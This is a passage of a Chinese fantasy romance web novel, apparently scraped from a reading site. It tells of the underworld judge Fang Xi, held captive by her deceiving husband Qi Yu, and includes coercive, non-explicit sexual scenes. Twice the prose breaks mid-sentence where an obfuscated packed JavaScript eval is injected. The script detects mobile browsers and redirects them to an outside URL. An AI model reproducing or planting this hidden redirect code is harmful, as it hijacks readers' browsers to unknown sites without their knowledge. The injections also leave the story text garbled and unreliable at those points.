好在方溪顺利拿到了冰匣子,冥灵木心完好无损。只是里面花骨朵竟然在她手指触及冰匣的瞬间绽放开来。 “阿昔。” 许成砚!方溪环顾四周,一片漆黑,什么都没有。 失落感让她身心俱疲,方溪连动根手指的力气都没有,她太累了。 她闭上了眼睛,随着暗流卷入深渊。 突然有人用力捉住她的手腕,将她拥入怀中,他的胸膛炽热无比,几乎要将她灼烧。 那人抱着方溪回到岸上。 方溪清醒过来后趴在岸边咳嗽,鼻腔里全是血腥味,四肢怎么也使不上劲,她侧目瞥见冰匣子在她一臂远的地方,努力伸出手要去拿。 方溪的指尖快要触碰到匣子时,她的头顶响起熟悉的嗓音,可轻佻的语调陌生得让她打寒颤。 “啧,真可怜。” 一只骨节分明、修长有力的手闯入视野,拾起冰匣子。 那人衣摆上绣的缠枝暗纹是天玄司特有制式,龙纹黑靴象征着青龙赐福,他将冰匣子放在手中把玩片刻后收入锁灵囊中。 方溪虽看不到他的容貌,但猜到了来者何人,她颤巍巍地撑起身子。 那只无数次抚摸过她身体的手,此刻正捏着方溪的下巴,强迫她抬起头来看他。 方溪瞧清他的眉目,登时耳朵一阵轰鸣,只听他叹息道: “怎么连避水法术都不会了。” 4. 第 4 章 声音是他 许成砚,许成砚,许成砚! 这三个字犹如一道咒枷扼住方溪的咽喉,只要呼吸,五脏六腑就跟着抽痛。 声音是他,气味是他,相貌是他。唯独眉眼间的神态、说话的口吻不是他。 都到了这种时候,方溪再怎么执迷不悟也该反应过来了。 戚彧,戚彧,戚彧! 原来真正的怨恨是这种滋味,关于他的一切记忆都被当做是禁忌,一旦触及便是引来排山倒海般的愤懑与憎恶,连着心肝、骨头都在因他的一点动静在战栗。 曾经被她视若珍宝的美好记忆,被他亲手粉碎,那个名为许成砚的书生此刻变得面目狰狞,仔细回想他的一颦一笑满是对她贪恋于他假面的嘲讽。 她爱的那个人根本就不存在,都是假的,从一开始就是假的。 “哭什么?我活着你难道不应该高兴吗?” 许成砚端详着她的悲愤欲绝,挑起一边长眉,眼神满是戏谑。 他捧着她的脸,拇指擦过她的眼角,嗓音柔和、语气关切:“都怪我没提前告诉你我是谁,把你气成这样。好了好了,不哭了不哭了。” “别碰我。” 方溪使出最大的力气甩开他的手,摇晃几步,随后软弱无力地瘫坐在地上:“你对我做了什么?” 许成砚泰然自若,面对方溪的质问,丝毫没有一丝愧疚之心,不紧不慢道: “姜桑柔说你嘴馋,多喝了几口她的醉仙酿,你也真是,酒量不行就不要贪杯。瞧你虚弱成这样,看着叫人心疼。” 方溪猛地抬眼睨他,她紧绷着脸咬牙:“天玄司是怎么破的结界?闻天语可没有给你这个权力。” “是啊,那是谁给我的权力呢?” “绝无此种可能,连我都不知道的事,我怎么可能会告诉你。” 许成砚将她从地上捞起,抓住她的双手,不顾她的挣扎摁在他胸膛上,垂首嗅着她发间的清香,耳畔低语:“凡间有一种功法叫做双修,阴阳相合,心意相通,便可让两者的道渐渐趋同。虽不能同享仙寿道行,但法宝能共用、武器能认二主。你说一个小小的通行令有何难?” 心意相通。 这话无疑是在戳方溪的肺管子,她脸色越发惨白。 “你不要碰我。”她想要躲开,方溪眼神闪避不想看他,他的气味声音无一不再折磨着她衰弱的神经,方溪哽咽了两声。 许成砚听到她再次抗拒自己接触,他抓着她的肩头,让她看着自己,躲无可躲。 “你看着我,看清楚了,从始至终都是我。与你成亲的人是我,你舍命相救的人也是我,你不承认也得承认。” 他眉宇暗藏的戾气蠢蠢欲动,却在见方溪难受得阖上眼时,生生被许成砚抑制下来化为乌有,他的语调随之变得和缓:“方溪,你看看我,好不好?” 算计她的人是他,欺骗她的人也是他。 方溪大口喘着气,冷汗浸湿全身。 “掌司使。”一个玄司使打断了许成砚要去安抚方溪的动作,他立马恢复正形,瞥一眼来人:“鬼吏和幽冥各族头领都带过来了?” “都在问仙台候着,正等您前去处置。” 许成砚的目光落在方溪湿润的鬓发:“你是要我抱着你去还是……” 方溪冷冷道:“我自己走。” 候在一边的玄司使时不时的偷瞄了两人,眼放异彩,唇角都快压不了,许成砚撇了他一眼,玄司使才干咳一声掩饰。 玄司使说了一声“属下还有要事,先行一步。”得到准许后,立马撒丫子跑路。 许成砚挑眉笑了笑,与方溪一路十指紧扣,散步一样绕着那片残枝败叶的荼靡花丛,许成砚冷脸观摩了一会儿自己的衣冠冢后提剑扬了坟,半个时辰后才到了问仙台。 这个过程,方溪几次想趁机抹了许成砚的脖子,奈何手脚乏力,灵力堵塞,只能赏他几个眼刀。可看见他那张脸,方溪的眼睛就又疼又胀。 问仙台三块浮石足以容纳上千人,下有滚烫的岩浆冒着热气,上有斩仙刑场,由十四个玄司使守着刑场的八个方位,堵死去路。 主案鬼吏、幽冥各族首领皆俯首在地,谁都不想招惹那个人。 传说人皇渥丹曾派东夷徐甫率三千修士去往海外仙山寻长生不老药,回程途中遭遇伪神屠戮,只有一人幸存。 而戚彧就是那个幸存者,他吃下长生不老药,隐世蛰伏百年,一出山便持天玄玉令,召集散落人间的玄司使,唤醒沉眠千年的闻天语,算计天命,借龙女之名挑拨离间各方势力,坐收渔翁之利,暗中屠戮伪神及其后裔,有罪无罪无一幸免,血流成河,借刀杀人手上却未沾一滴血。 东窗事发,龙女震怒,斩杀戚彧。龙女殉道后,戚彧奇迹般死而复生,掌管天玄司百年至今。今日他不费一兵一卒离间幽冥各族,俘获九幽冥主,震慑幽冥。戚彧贼心不死,人尽皆知。 谁敢与之作对,谁能与之作对。识时务者为俊杰,鬼死为聻,聻死为希,聻希归三迷途。谁都不想放着好好的鬼族不做去做三迷途的养料。 方溪摁座在判官的位置上,许成砚立在她身旁,面向鬼众,话却是说给方溪听的。 “你们有两个选择,要么归顺天玄司,要么为闻天语尽忠。” 鬼众哗然。 一个虚弱却坚定的声音猝然响起,方溪强撑着身子指着他的鼻子大骂: “戚彧你不忠不道不义,有什么资格在这耀武扬威?你于闻天语不忠,于苍生不道,于……不仁不义。” 许成砚替她不全这句骂:“于你不仁不义。” 方溪怒不可遏,一时气急攻心,瘫坐在位置上急促喘息,眼睛则死死盯着他。 许成砚目色暗沉,方溪选了后者,她宁愿给那个不知所谓的天道行者闻天语尽忠,也不愿归顺于他。他沉吟道:“你是这么看我的。” “自然。” “好好好,”他连声叹道,脸上的笑意渐渐变冷,许成砚走到鬼众前,摊开手臂扬声道:“你们既然想归顺天玄司,就拿出你们的诚心。” 鬼众纷纷叫嚣着处死方溪,有说让把方溪关押至三迷途受尽怨气折磨,也有说让方溪沉入奈河同超度不了的怨灵做伴,永世不得超生。 它们以为只要献祭旧主的方式 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“一群背信弃义、卖主求荣之辈,胆敢在此倒反天罡、残害九幽冥主,天玄司接到密令特此前来援助,于问仙台诛杀鬼众妖邪,替天行道。” 霎时问仙台天雷滚滚,百道神雷劈下,鬼众顷刻之间神魂俱灭,再无具形可能。 方溪显然被戚彧这番行事震惊得失言。 人怎么能无耻到这种地步。 许成砚回首逼近她,在她耳边咬牙切齿道:“我要你活。” . 方溪从未出过幽冥,也从未见过太阳。当她被许成砚带回天玄司,那炽烈的阳光几乎要把她烤熟。 方溪只能借着伞荫才能在人间行走。 当然现在她只能被迫做他的人形挂件,因为许成砚从来不让她离开他半步。 除了他闭关修炼的时候,方溪提着他那柄忘归剑在天玄司大杀四方,但又伤不到人。她逃跑出去几公里她就找不到北了。 然后又因灵力耗尽,晕倒在山野之间,路过的玄司使会把她送回天玄司。 周而复始,直到她明白她现在的处境就是想死死不成,想逃逃不掉,方溪才慢慢冷静下来。 因为这些玄司使遍布在三千界各处,她就奇了怪了,整个天玄司最多几十号人。怎么她到哪都有玄司使,他们没别的事做吗? 天天闲得慌,抓人玩。她更加愤愤不平,方溪兢兢业业在幽冥殿干了一百多年,不敢有一丝松懈,敢情好,这群跟随许成砚的妖道天天不干正事。从前就给她搞幺蛾子添堵,现在也是。 有时她还发现这群人话唠的程度比她有过之而无不及,时不时蹦出两句奇奇怪怪的话。 譬如“方大人,你跟掌司使怎么认识的?你不觉他很闷吗?”“方大人,你跟掌司使真成亲了?怎么不请我们吃喜酒啊。”“……” 这群人毫无边界可言,方溪最后直接拒绝他们的好意,自己走回了天玄司。 对的,方溪迷路,但记住了回天玄司的路。 当方溪第四百四十九次逃跑后,许成砚出关了。 5. 第 5 章 天玄司设有神异和八方两部,神异部下设天、地、玄、黄四字阁,负责记载三千界各类神异。八方部,下设八经卦八字阁,负责记载四面八方俗世。 天玄司神使皆以完成天玄纪事录为天职,以拨乱反正、平衡三千界各方势力为行事准则。 天玄司十二字阁,皆奉天玄玉令为圭臬。上古时期,天玄司谋杀闻天语,遭其血咒屠戮,两败俱伤,闻天语沉眠,天玄司自此封印千年。 八百年前,戚彧持天玄玉令,破除血咒封印,唤醒闻天语,得到天道认可,获得苍龙赐福,重启天玄司。 幽冥殿以九幽冥主为主判官,十八狱官主刑,其下设提灯、打更、夜游、日游四画院主罚。伪神作乱后,幽冥殿事务皆由九幽冥主主导,再无十八狱官。 二者相辅相成,天命二分,分管生与死。 伪神陨落后,天玄司势压幽冥殿。 直至今日,龙女殉道,闻天语沉眠,戚彧攻下幽冥殿,将其并入天玄司离字阁。天玄司彻底入世,凌驾天道玄门之上,弃天职,违天命。 至于那个才上任百年之久就被迫转行的九幽冥主方溪,世人感慨她生不逢时,倒霉悲催,遇到这么一个不忠不道不义的同僚。 天玄司对外宣称,九幽冥主对戚掌司使心悦诚服,愿意为其马首是瞻。 明眼人都知道,冥主大人被大恶人戚彧胁迫,玄门墨客纷纷为其打抱不平,专挑戚彧当年那些陈芝麻烂谷子的事添油加醋写八卦小报,传播速度连乡野茶馆里茶博士都能嘴上几句。 “据说戚彧还未得道飞升前是鸣雁一个小小的太史令,天资残缺无法修道,因其恩师徐甫推荐才得受到人皇渥丹的重用,徐甫何人也,那可是大能玄微子的高徒,鸣雁的大国师。” 茶博士在眉飞色舞地讲着真伪难辨的八卦,众人听得津津有味。 方溪背着把黑伞坐在阴暗角落,端起茶吹了吹,纤细的手指托着茶盏,她颔首抿了一口,一股难言的苦涩在唇齿之间蔓延。 她眼瞳动了动,余光扫过周围。 总觉得有人在盯着她。可她用神识洞察,只有几个散修罢了。 “徐甫那么厉害怎么会收这等天资残缺的劣徒?”有人提问茶博士。 “说到点了,这就不得不提一个英年早逝的天纵奇才,世人称其丹道昔,不知其姓,只知她单名一个‘昔’字。她的功绩不用我多说了吧,其炼制的清奇丸至今都是天道玄门疗效最最上乘的固元丹,没有之一。” 清奇丸,固元培本,好东西。她现在正需要恢复元气,看来该往繁华的地方去了。 在人间这些日子,她总算是懂点俗事了,要想打探消息随便找个茶馆、酒肆,丢上几粒金银,便可听人们闲谈人间的是是非非。 “这丹道昔与戚彧是同乡,还是同生死共进退的莫逆之交。最重要的是她还是个美貌女子,天赋极高,为人正直纯良,受奸人戚彧蒙骗,骗身骗心,被戚彧抢其丹方,夺走修为,谋害致死。戚彧以进献丹方入徐甫门下,自此开始他卑鄙无耻的一生。大家听着耳不耳熟,这不就是他残害九幽冥主的路数吗?” 方溪莫名被点名,目光投了过去,只见人们因他最后那句话变得慷慨激昂起来,纷纷为方溪打抱不平。 “简直人神共愤。” 茶博士只需一个话头,人们便七嘴八舌说道起自己知晓的八卦。 方溪忽然间发觉这茶苦涩如黄连,招手要了碗凉白开,一饮而尽。 舌根那股子苦味竟然微微发酸,这味道让她回想起一些不好的记忆。 她屏息凝神,努力那些记忆按下去。收好情绪,她正要起身离开,肩头一沉,一只手将她按坐回原位。 “粗茶便是如此,你吃不惯很正常。” 说话的人好似猜到了她吃不惯这些东西。 这声音一出,方溪头皮发麻,身体紧绷起来,全身血液倒流。 这才半月戚彧就闭关结束了? 早知道跑远些。 许成砚神情自若地坐下,手很自然揽住她的消瘦的肩膀,五指手指骨节泛红,抓住她的肩头。 方溪皮笑肉不笑,身体极其抗拒他的接触,想挪开身却被他用力带过去,她用手肘支开他:“大庭广众之下我不想跟你动手。” 邻桌听到动静也只是当他们是在闹变扭的夫妻。 他轻笑一声,没当回事,反而楼得更紧了。 方溪有点愤愤道:“那么多位置,你就非得跟我挤一起是吗?” “不看紧点,一会儿你跑了我该怎么办?” 方溪听到后面那几个字,抬眼瞪他,可目光触及他的眉眼时她还是习惯性躲闪。 此时,人们又开始拔高嗓音,侃侃而谈起戚彧的风流债。 “我还听说他好夺貌美人妻,啧啧。” “你怕是记错了,是别人夺他爱妻,要不然他会这么疯魔?去了一趟海外仙山回来就性情大变,八成是去之前就受刺激,不然寻不老药这种有去无回的差事正常人会去做?” “有家室还与丹道昔暧昧不清,被夺妻也是活该。” “……” “我听到是有人夺他妻,他气不过又去夺别人妻,夺妻不算,还辣手摧花以泄私愤。” 这野史可真够野啊。 听到此处,方溪目光挪回到许成砚那双深幽的眼眸上,她眼神越发不善。 许成砚坦坦荡荡道:“太久远的事我记不清,但这个绝对没有。” “我没问你。”方溪道。 许成砚盯着她看了一会儿,揽住她的那只手丈量了一下,他呢喃道:“瘦了。” 许成砚几欲抬手摸她的脸,方溪别过头去:“与你无关。” 他的手顿了顿,垂下悄悄覆盖在她的手背上,手指见缝插针的缠住她。 她得整个后背几乎是靠在他的身上,这让她能无比清晰感受到他的怦怦跳个不停地心跳声。 他在紧张什么?方溪疑惑。 “我不在,你都不好好吃饭,你想在人间散心,那我陪着你。” 他似乎在回避什么。 方溪:“我不想散心。” “可我想。” 自打许成砚将方溪带回天玄司,方溪一逮到机会就抄起家伙要取他性命,也不是没针锋相对过,结果无一例外是方溪体力不支,落下风。 冥灵木心在她身体里待得太久,突然被取出来,空出来的位置总是重新长出血肉来。 许成砚算着日子,她的心脉也快长全了。方溪只要多出门晒太阳,适应一段时日人间的灵气,就能真正获得一具人的躯体。 不再是草木化形,而是真正有五感,能嗅到真正花香,能尝到更多的味道。不再流血泪,气色也会好转。 许成砚在山涧建了一座小楼,除了荼靡花,弱水岸小竹楼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406169|184475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆设一一复原。 小院杏花树花开满枝,微风吹拂,花瓣如雪般飘落。 方溪撑着黑伞,立在杏花树下触景伤怀,睹物思人,转眼撇见他那张脸,那不合时宜的愁绪变成愤怒。 他怎么敢的?故意的是吧。 有的人活着跟死了没什么两样。 “以后无论你走多远,这里都属于你。” 方溪哽住了。 “我不想要这个。”方溪眼中毫无波澜,与许成砚料想的不一样,他以为方溪至少会回忆一下往昔岁月,最起码能开心一点。 许成砚靠近方溪,高大的身影遮住她的瘦削,他的手指撩过她的鬓发,指尖在她耳垂打转,明知故问:“那你想要什么?” “我的心。” 许成砚手指捏住她的耳垂,一直往下,指腹一直摩挲到她的锁骨。 目光隐入松垮的衣襟深处。 他呼吸变得沉重起来,嘴角勾了起来,半月来她的抵触让许成砚难以接受,纵使早就猜到她的反应,却还是这么做了。 当情/欲与愧疚交织,不解与愤懑对抗,最初那份真挚无比的情意早已掺杂太多说不清的东西。纯粹早被无理的欲求玷/污。 “那你打算拿什么来交换?” 他的嗓音曾是清澈如新雪,如今再入耳却混浊如墨池,不堪。 方溪审视着他一寸一寸的眉眼,她此刻多想许成砚不是他。 往昔那般如胶似漆是真,她比许成砚更熟悉他的味道,许成砚比她更熟悉她的敏感。 “你说呢。”方溪仰起头看着他,笑意渐深,不见当年满心欢喜。 方溪不知自己是怎么上榻的,她只是朝他勾勾手,天旋地转间便到了软榻上。 混乱、潮热、粘腻。 啃咬,撕扯,仿若这就是战场,非得斗个你死我活,你方唱罢我登场。 三年里的温柔与耐性全都在此刻化作泡影,暴戾、凶悍、不管不顾,才是彼此的本色。 她难耐地哼出声来,抓着他被汗水浸湿的衣襟,方溪这时才醍醐灌顶,以前那都是隔靴搔痒、镜花水月,失去木心后她的身体越发变得脆弱。 感官过载,所有触碰都会被无节制地放大,她湿漉漉的眼眸中含着晶莹剔透的水珠,方溪推搡开他,急促喘息着。 许成砚用手捂住她的嘴唇,包裹住她的半张脸,与她额头想抵,两颗心靠得那么近,近得连心跳声都在宣誓对彼此的占有。 许成砚粗喘着拥着她,亲吻她被汗淋湿的脖颈:“我是谁?” 方溪死死咬着唇,不回答。这么简单的问题,她不想答,更不愿答,她就是死不承认。只要不承认就能顺理成章的去恨,不带任何一丝情。 许成砚的手从她脸上挪开,手指没/入她的发间,在额角来回摩挲、一缕缕梳理她的鬓发,别在她的耳、肩后,让他更能清楚地看见她。 他回想起她把自己从魇兽口中救下的模样,青丝间隐隐约约可以窥见的肩颈,惨白如纸。 如今她肩颈经脉青紫可见,因湿热泛起了红,戚彧不得不暗骂自己几句。 方溪不甘心因此败下阵,热气蒸腾瞬间一口咬住他脆弱的咽喉,也不知是不是呼吸太急促,她有点头晕目眩,意识迷糊起来。 许成砚趁机再问她:“方溪,我是谁?” 方溪昏昏沉沉小声应答。 “许成砚。” 6. 第 6 章 听到那个名字,许成砚沉下身去,他不断亲吻她,这吻比之前还要凶。 好似“许成砚”真是另一个人,真抢了他的妻,嫉妒得他不停地向方溪索取、去占有,让她染上自己的味道,看着她的眉眼因他而泛红,这样就没有人再敢觊觎方溪。 哪怕他就是“许成砚”。 许成砚于潮湿闷热的雨夜发了疯病,行至最后,竟真认为方溪属于“许成砚”,他无论怎么去侵染也占不了半分。 嫉妒、怨怼、不甘冲刷着许成砚的理智,眼前闪过这三年,“许成砚”在她唇角、肩颈……所有柔软之处留下抹去不了的烙印,她的颤栗都曾来自“许成砚”的抚慰。 他的手遮住她的眼睛,试图用黑暗模糊他与“许成砚”的差距。 她累了,哭了,闹着,方溪咬破他的唇角,他见不得人的幻觉被戳破,才彻底清醒过来。许成砚轻轻拍着方溪的背,做贼心虚地去安抚。 后半夜疾雨风骤,院墙边的枇杷叶在狂风暴雨中摇摇荡荡,窗户纸上的树影婆娑。雨声渐微,室内水汽氤氲,丝丝凉意入帐来。 倏地一声惊雷吓醒了熟睡的方溪。 暗室白光忽闪,她不由地往后缩了缩,头撞到了他的下巴。 许成砚自然而然将她揽入怀中,这个动作从前做过无数次,方溪单薄的背贴着他。 他的身体很热,像烈日下的火炉一样。靠近一点点就让人难以忍受,她往床边挪了一下。 “睡不着?” 方溪现下无比清醒,但她还是选择闭上眼装睡。过了一会儿,窸窸窣窣的声音响起,方溪抓着他的头发。 “滚开。” 有些事,许成砚做得,戚彧做不得。 许成砚装聋作哑,不放过她。从前他小心翼翼、克制压抑,温润得像泡在汤池里一样。如今他恨不得要把她拆了放蒸笼里蒸烤,烤出她所有的汗,所有的泪,她好恨。 她恍惚间竟然觉得自己跟他这般荒唐,就像是背叛“许成砚”。 明明都是他,却让她心底产生一种异样的感觉,他触碰她,方溪并不能像以前一样坦然接受,反而因为他的触碰而感到羞耻。 气味、相貌、身体都一样,她恍惚间认为自己是在和他偷\情。 方溪无端忆起白日在茶馆听到的那句“戚彧夺妻不算,还辣手催花以泄私愤。” 她不晓得哪来的力气,下了榻,没几步又被拽起胳膊,禁锢着手腕,一齐跌落至美人榻上。许成砚提早放了一张柔软皮草在上面,方溪脸颊耳朵都被那柔软的细毛挠得混身发痒,鼻间都是皮草上淡淡的香味。 “戚彧。”她喊了几声,越喊,声音越可怜。方溪一拳打在他身上,下一刻就被抱坐在怀里,许成砚观摩着她的欲哭无泪的神情。 磨人,太磨人了。 不是说不死不休,不是说要一分胜负吗? 又不肯认输,死犟着不愿承认,非得逼着他发疯,逼着他心甘情愿地去认输。 世人都说只有他算计别人,没有人能算计他。世人哪知道,只要是她,只有是她。不用等她算计,许成砚便先认输了。 许成砚紧紧拥住她的刹那,方溪的委屈如雪崩,哭得上气不接下气。 她不明白,她想不明白。 三年的浓情蜜意,如何能抵消近百年的怨恨?怎么能抵消得了夺权抢宝的憎恶?她不会背叛自己的天命。 “方溪,我们重归于好,就像以前那样。” 许成砚的唇角贴着她的鬓发,说着一些零碎的话语。他似乎以为方溪只是在跟他赌气,随便哄哄或者让她捅自己几刀,方溪就能放下过去继续跟他和和美美的过日子。 方溪缓过劲来,哪怕彼此依偎、眼含着层水雾,她依旧翻脸不认人 “痴人说梦。” . 梅雨时节,屋里的藤椅、桌凳上都沾满了水珠,方溪裹着被褥翻了个身,日上三竿,她还是没什么精神起来。 许成砚侧坐在床头,端着碗热腾腾的粥,一勺一勺地吹凉,逼着她吃勉强了几口。 方溪吃完便垂下脑袋,蜷缩着身体,全身上下哪哪都透着不对劲,她还得需要些时日才能适应五感。 方溪后知后觉,窝在被褥里生气。 天杀的,他摆明了是知道她这几日的情况,才迫不及待出关来刺激她。 许成砚将手伸进被褥里拽出她的一条腿,手指抚上她的小腿,揉捏按搓,力道适中。 方溪不出声,他便探身下去,在她小腿内侧亲了一下。吓得方溪连忙缩回小腿,裹着被子靠在墙角,声音发颤:“你没完没了了是吧?” 许成砚:“我不做什么。” 方溪吸了吸鼻头,她好想许成砚。一旦冒出这个念头,她便看一眼他,然后清醒过来。 以前柔情似水的他是假的,如今这个神经兮兮、阴晴不定的他才是真的。 别的先不说,这一百年他不干人事,害得她日夜操劳,潜伏在她身边三年,白吃白喝,骗她身骗她心,迫使她违背天命。 这一桩桩,一件件,让她如何释怀。许成砚虚情假意演多了,演得连他自己都信了吗?真当自己是情痴。 方溪咽下这口怨气,躬起身抱着双膝,将头低低埋在手臂中,只留一双眼睛露外面。 “你答应我的,要把我的心还给我。” “我有答应你?什么时候。”许成砚盯着她光洁滑腻的肩背,似笑非笑地拾起她散落在地上的小衫,捏在手心揉捏,方溪眉梢高挑,耳根乃至整段脖颈红了起来。 方溪早料到他会反悔,但亲耳听到他耍无赖,胸口还是顺不过气来。 “我想起了,好像有这么回事,但我似乎没答应你。” 只听他低笑一声,欺身而来,方溪眉眼愠色浓|稠,唇齿相依,连呼吸都被肆意掠夺,他捧着她,托着她。 耳鬓厮磨,色授魂与,心愉于侧。 本是不该。 梅雨时节已去,骤雨初歇,杏花落满院。 方溪咬了一口手里的桃子,透过圆窗看向那棵花树,她听闻凡间的杏花三月开,这都快入夏了,院里的花还开着。 她凝眸,手指凭空划拉了一下,视野中发现树上残留的灵力痕迹。 方溪嘴里的桃子瞬间寡淡无味。 许成砚以前就喜欢侍弄花花草草,方溪在家就用灵力滋养,方溪不在家的话,许成砚就给那些枯枝败叶浇水,方溪还因此笑话他。 仅存一些美好记忆,随着时间变了味。 方溪扶住隐隐作痛的额角。 不能再在这里待下去了,她还有更重要的事情去做。 他既然不想物归原主,那她也没必要再跟他周旋。冥灵木心她不要了,反正五百年后还能再长回来。他既然抢了她的东西,那就得付出相应的代价。 传说中那枚天玄玉令正合她意。 许成砚熟睡时,方溪轻手轻脚地找过,他身上只有一枚掌使令。 她摸到那玩意时,还被他抓个正着。 “你在找什么?” “把这东西拿走,硌得我腰疼。” 他逼近她:“你确定只有令牌?” 无耻之徒。 想到这方溪咬紧牙关,不太想回忆当时的场面,她伸手揉了揉酸胀的小腹。 等她找到天玄玉令,非得弄死戚彧这个狗东西不可。 可神无法被杀死,要么像惩罚伪神一样将其神魂钉死在奈河底,要么就在其飞升前弄死他。前者以方溪当前的实力很难办,后者更是异想天开。 “在想什么?”许成砚冷不丁地出现在她身后,不等她反应,一只手就握住她的腰,从她背后抱着她,头埋在她的发间深深嗅探。 给方溪吓得一激灵,似有蚂蚁从头皮爬到尾椎骨。他的手掌取代了她的手,平平的覆盖在她的小腹上,帮她揉肚子,慢慢地,暖意取代了酸胀。 方溪实话实说:“在想如何弄死你。” 许成砚好心的帮她列举几种杀他的方法:“那方法可多了,趁我睡着了勒死我、拿刀捅死我、毒死我或者恨死我。” 方溪不想搭腔。 他在她侧颊上亲了亲。 休沐结束他们就得该回天玄司了。 清晨一名玄司使来询问许成砚归期,顺便捎来一个令人不悦的消息。 “今日回天玄司,有人想见你。” “谁?” “姜桑柔。” 方溪呼吸一凝。 . 方溪不知该用怎样的态度去对待姜桑柔,说恨谈不上,说讨厌更谈不上。 可能只是有一点点失望。 姜桑柔说得对,不要相信任何人。 方溪当初没听懂,如今身体力行的感受什么叫做背叛,什么叫做欺骗。 姜桑柔和许成砚给她好好上了一课。 如今方溪被许成砚封住灵脉,成了他的降臣,鬼知道他对她没了兴趣后会不会突然发疯弄死她。 姜桑柔此刻要见沦为降臣的她,意义不明,方溪实在想不出她见自己的理由。 姜桑柔被关押在神异部的大牢的尽头,此处藤蔓丛生,墙体上长满青苔。 牢头是蛇头人身的精怪,腰间的天玄令上刻着“黄叁”二字。 黄叁领着方溪走到大牢的深处,简单嘱咐几句便化作原型飞速离开,似是在躲避什么。 方溪继续朝暗处走去,那女子虽被锁住手脚,身上整洁如新,活动自如,一点也不像囚犯。 听到动静,女子抬眸看过来,女子眼底浮现欣喜随之而来是愧疚。 “方溪。” “你想同我说什么?”方溪直截了当地问她。 姜桑柔先是一怔,然后垂下眼帘:“对不起,当初我是真心想帮你们,但我真的不知道许成砚就是戚彧。” 方溪不需要她的对不起,更不相信她的说辞,她只想求证一些事:“戚彧拿什么威胁你了?” 究竟是什么让姜桑柔再次背叛闻天语? 当年姜桑柔投诚伪神是为了幽冥界,这次又是为了什么? 有什么能逼得她再次背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406170|184475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叛闻天语? 姜桑柔不敢直视方溪的眼睛。 方溪耳畔想起她曾经说过的话,七情六欲就是人的劫数。 姜桑柔怅然若失道:“没有,没人威胁我。” 方溪心中了然,这个不可说就是姜桑柔的劫数。 方溪又问她:“你说过梦魇之力可以扭转乾坤,到底有没有骗我?” “没有。”姜桑柔顿了顿,“闻天语曾以梦魇之力绞杀伪神雪刃,来回只需一柱香,便在雪刃飞升前将其杀死。我亲眼见到《天玄纪事录》中关于雪刃的记载从祸乱至今变成绝于数百年前。” “人的梦各不相同,闻天语是如何找到飞升前的雪刃的?” “按理说是得用本尊或者亲历者的心头血。成神后的雪刃狡诈,难以循迹,闻天语便选了后者。” 找到雪刃飞升前迫害过的人,取其心头血便能在梦中寻到痕迹。 恨意侵入血肉,凝聚在心头,那里的血足以开启复仇之门。 同样的道理,是不是只要她以戚彧的心头血作引,就能在他作恶前阻止他?甚至是杀了他。 方溪对姜桑柔的话半信半疑,闻天语所作所为不是常人能够理解的,方溪得再认真斟酌一番才能做决策。 入梦一事可等她拿到天玄玉令再说,天玄玉令既然能让那人立于玄门山巅,那么也一定能恢复她的元气。 “你难道是想……”话未尽,姜桑柔就对上方溪的眼睛,爬墙藤蔓上的萤火虫发出微光,让人更能将对方看得真切。 方溪变了许多,眉眼比以前更加柔和,曾经的方溪像纸扎的娃娃,苍白死板,现下宛如画龙点睛,眼角眉梢点缀着嫣红,嘴唇也变得红润柔软。 连那双黑白分明的眼睛里也多了些别样的情绪。 姜桑柔调转话锋,问她:“方溪,你恨我吗?” 方溪摇摇头。 “那你恨他吗?” 方溪欲言又止,话到嘴边,嗓子却无法发出声响。 百年前她经闻天语点化,初具人形,不善言辞,不通五感,凭着一道天命坐上九幽冥主的位置,日复一日年复一年的接过从天玄司递下来的案子。 堆叠成山的文书,每一份落款都是“戚彧”。 笔锋深刻,遒劲有力,字形端正刻板。 瘦小的她第一次坐上高位时,双脚腾空摆动,静静听着幽冥殿内鬼吏们吵吵嚷嚷,眼睛盯着那名字出神,不知此后几十年都会因这个名字而活在无尽的怨气之中。 左边的提灯小鬼说要杀这个,右边的打更小鬼说要杀那个。 跪着的夜游神说这些杀不得,站着的日游神说那些全杀了。 她指着文书落款问:“为什么他让我杀谁就杀谁?” 鬼吏面面相觑,无视她的问题,继续吵嚷。 方溪提笔点朱砂,在“戚彧”上画了两笔,最后一画刚显形,前一画就消失。那个名字依旧完好无损,她觉得此人讨厌至极。 方溪很长一段时间都像个傀儡任由他摆布。 待方溪长得比公案还要高,坐下时双脚能踩着地。这些个鬼吏才开始畏惧她,原因无他,无非是她把他们丢到三迷途里吓唬了一下。 此后送到方溪公案上的文书上的落款都会被遮住。 不知从何时起,幽冥殿与天玄司之间变得暗潮汹涌。戚彧对幽冥殿的施压日益加重。 幽冥只有月亮,没有太阳,月亮和她一样孤独。她视明月为友人,因为明月光很温柔。可月亮西升东落,总要从幽冥回到人间,它只能腾出半日光阴去陪方溪。 月亮不在时,方溪能感知到的只有厉鬼怨灵的悲苦、怨憎、仇恨、凶戾。 她不喜欢这些,可她摆脱不了。 所以,她就哭,哭出来就能好受些。哭到流淌出鲜血,染红双颊,这样才像一只鬼。 当白面红泪的小鬼去追逐月亮的脚步时,遇见了另一只鬼。 他面颊清瘦,身体孱弱,在月影之下与魇兽缠斗。 那只鬼很不自量力,弱小如蝼蚁却妄想打败庞然大物。 方溪明明还想再见月一面,却因他驻足。 